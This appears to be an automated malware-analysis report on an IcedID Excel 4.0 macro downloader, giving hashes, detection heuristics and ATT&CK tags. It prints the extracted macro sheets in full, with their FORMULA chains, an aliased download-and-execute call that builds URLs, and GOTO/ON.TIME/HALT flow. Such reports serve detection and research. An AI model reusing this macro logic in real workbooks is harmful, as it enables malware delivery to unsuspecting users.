IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 8f0e0cbdd53c7cf9…

MALICIOUS

Office (OOXML)

174.3 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-22
MD5: 32dcf50c743874937ec74837eff0e9fa SHA-1: 736d8808ba764baf9f56a0a9cb654c30a5843175 SHA-256: 8f0e0cbdd53c7cf90f5a973dddd50797245a1384af7a793b60a63f88caee3b60
250 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains critical heuristics indicating the presence of Excel 4.0 macro sheets with dangerous API calls like FORMULA, GOTO, and HALT, which are used to download and execute payloads. The embedded DOC BODY content explicitly shows formulas that call URLDownloadToFileA and EXEC, and references several IP addresses and a URL for downloading 'putty.exe'. This strongly suggests a downloader functionality, consistent with the IcedID family.

Heuristics 6

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (6 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, GOTO, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 6 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1190 bytes
SHA-256: e26278d9df62929caddc39c2675d1a93c805965a35896b4c4240468b728373e2
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0000-000000000000}"><dimension ref="A1"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="2"/></cols><sheetData/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 3387 bytes
SHA-256: 11d716cf87c0994c7816faeabea3b1a2311f8469a9e654bc4a6167c25888c333
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="C20:G35"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="5" width="8.7109375" style="1"/><col min="6" max="6" width="9.42578125" style="1" customWidth="1"/><col min="7" max="16384" width="8.7109375" style="1"/></cols><sheetData><row r="20" spans="3:7" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="F20" s="1" t="b"><f>FORMULA(Sheet000!P16&amp;Sheet000!P17,F27)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="3:7" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="F23" s="1" t="str"><f>NOW()&amp;".dat"</f><v>44329,6550195602.dat</v></c></row><row r="25" spans="3:7" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="C25" s="1" t="s"><v>3</v></c></row><row r="26" spans="3:7" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="C26" s="1" t="s"><v>5</v></c></row><row r="27" spans="3:7" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="C27" s="1" t="s"><v>4</v></c><c r="G27" s="1" t="str"><f>"htt"</f><v>htt</v></c></row><row r="28" spans="3:7" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="C28" s="1" t="s"><v>14</v></c><c r="E28" s="1" t="s"><v>18</v></c><c r="F28" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E28&amp;F23,"..\lertio.cersw",0,0)</f><v>#NAME?</v></c><c r="G28" s="1" t="s"><v>11</v></c></row><row r="29" spans="3:7" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="C29" s="1" t="s"><v>17</v></c><c r="E29" s="1" t="s"><v>19</v></c><c r="F29" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E29&amp;F23,Sheet2!K22,0,0)</f><v>#NAME?</v></c></row><row r="30" spans="3:7" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="C30" s="1" t="s"><v>16</v></c><c r="E30" s="1" t="s"><v>20</v></c><c r="F30" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E30&amp;F23,Sheet2!L22,0,0)</f><v>#NAME?</v></c></row><row r="31" spans="3:7" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="C31" s="1" t="s"><v>0</v></c><c r="E31" s="1" t="s"><v>6</v></c></row><row r="32" spans="3:7" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="E32" s="1" t="s"><v>6</v></c></row><row r="33" spans="5:6" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="E33" s="1" t="s"><v>6</v></c></row><row r="35" spans="5:6" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="F35" s="1" t="e"><f>GOTO(Sheet2!H13)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 2364 bytes
SHA-256: 32e86c8d875e3bc28a2fb3c0512d0cffa7c2a81da63e4fe594ba2772a3b3768c
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="H19:L31"/><sheetViews><sheetView showFormulas="1" topLeftCell="A7" workbookViewId="0"><selection activeCell="A7" sqref="A7"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="8.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="8.140625" style="1"/><col min="8" max="9" width="8.140625" style="1" customWidth="1"/><col min="10" max="16384" width="8.140625" style="1"/></cols><sheetData><row r="19" spans="8:12" x14ac:dyDescent="0.25"><c r="H19" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J18&amp;Sheet000!J19,H25)=PI()=PI()=PI()</f><v>0</v></c><c r="J19" s="1" t="s"><v>3</v></c></row><row r="20" spans="8:12" x14ac:dyDescent="0.25"><c r="J20" s="1" t="s"><v>12</v></c></row><row r="21" spans="8:12" x14ac:dyDescent="0.25"><c r="J21" s="1" t="s"><v>13</v></c></row><row r="22" spans="8:12" x14ac:dyDescent="0.25"><c r="J22" s="1" t="s"><v>7</v></c><c r="K22" s="1" t="s"><v>10</v></c><c r="L22" s="1" t="s"><v>9</v></c></row><row r="23" spans="8:12" x14ac:dyDescent="0.25"><c r="J23" s="1" t="s"><v>8</v></c></row><row r="24" spans="8:12" x14ac:dyDescent="0.25"><c r="J24" s="1" t="s"><v>2</v></c></row><row r="25" spans="8:12" x14ac:dyDescent="0.25"><c r="J25" s="1" t="s"><v>1</v></c></row><row r="31" spans="8:12" x14ac:dyDescent="0.25"><c r="H31" s="1" t="e"><f>GOTO(Sheet3!G2)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 2025 bytes
SHA-256: f6023b616a33da16850bd04bca335ab61b8bf9717cbe0a8ef91527cea67ae7fd
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1155E9B9-B0CD-42F9-A966-3A754062B27E}"><dimension ref="G16:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="4" width="7.7109375" style="1"/><col min="5" max="5" width="8.85546875" style="1" customWidth="1"/><col min="6" max="6" width="8.42578125" style="1" customWidth="1"/><col min="7" max="7" width="10" style="1" customWidth="1"/><col min="8" max="8" width="8.7109375" style="1" customWidth="1"/><col min="9" max="9" width="7.7109375" style="1"/><col min="10" max="10" width="8.140625" style="1" customWidth="1"/><col min="11" max="11" width="7.7109375" style="1"/><col min="12" max="12" width="8.140625" style="1" customWidth="1"/><col min="13" max="16384" width="7.7109375" style="1"/></cols><sheetData><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J21&amp;Sheet000!J19,G19)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="e"><f>GOTO(Sheet4!G5)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1560 bytes
SHA-256: d60ca3a864e3f818e7a00f9aa3f6fdbc180e13ef9ef26c0d3de35bf633fcfa97
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{8D29E0F2-14A8-4D3C-A016-AA1287FA05D1}"><dimension ref="G16:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="8" style="1"/><col min="7" max="7" width="7.85546875" style="1" customWidth="1"/><col min="8" max="16384" width="8" style="1"/></cols><sheetData><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J22&amp;Sheet000!J19,G19)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1831 bytes
SHA-256: e39ad03223dbd59846bfcaeec79c94a8bcc60e0526ca5f2965b6b33923361cfa
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{65E179ED-D9FF-4EED-BC75-2D2CB5EF5CA2}"><dimension ref="A10:B15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="A2" sqref="A2"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="8.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="9.140625" style="1" customWidth="1"/><col min="2" max="3" width="8.28515625" style="1"/><col min="4" max="4" width="9.5703125" style="1" customWidth="1"/><col min="5" max="5" width="10.42578125" style="1" customWidth="1"/><col min="6" max="16384" width="8.28515625" style="1"/></cols><sheetData><row r="10" spans="1:2" x14ac:dyDescent="0.25"><c r="A10" s="1" t="b"><f>PI()=ON.TIME(NOW()+"00:00:02",B10)=PI()</f><v>0</v></c><c r="B10" s="1" t="s"><v>15</v></c></row><row r="15" spans="1:2" x14ac:dyDescent="0.25"><c r="A15" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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